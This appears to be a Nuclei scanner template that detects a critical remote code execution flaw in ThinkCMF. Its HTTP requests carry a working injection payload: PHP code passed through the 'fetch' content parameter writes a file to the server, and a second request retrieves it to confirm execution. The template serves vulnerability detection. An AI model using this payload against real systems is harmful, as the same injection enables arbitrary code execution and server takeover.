Description
ThinkCMF is susceptible to a remote code execution vulnerability.
ThinkCMF is susceptible to a remote code execution vulnerability.
id: thinkcmf-rce
info:
name: ThinkCMF - Remote Code Execution
author: pikpikcu
severity: critical
description: ThinkCMF is susceptible to a remote code execution vulnerability.
reference:
- https://www.freebuf.com/vuls/217586.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-94
metadata:
max-request: 2
tags: thinkcmf,rce,intrusive,vuln
variables:
string: "thinkcmf-rce"
http:
- raw:
- |
GET /index.php?a=fetch&content={{url_encode('<?php file_put_contents(\"{{randstr}}.php\",\"<?php echo md5(\"{{string}}\");unlink(__FILE__);\");')}} HTTP/1.1
Host: {{Hostname}}
- |
GET /{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body_2
words:
- '{{md5(string)}}'
# digest: 4a0a00473045022100ef3a79522efff394f3d1701a444eef19411579af92582b630b61262c88b022f8022050a112965fd5384b1bdfa94a665f5e03e5803e14887294da8ab3e7c3d1328a3d:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.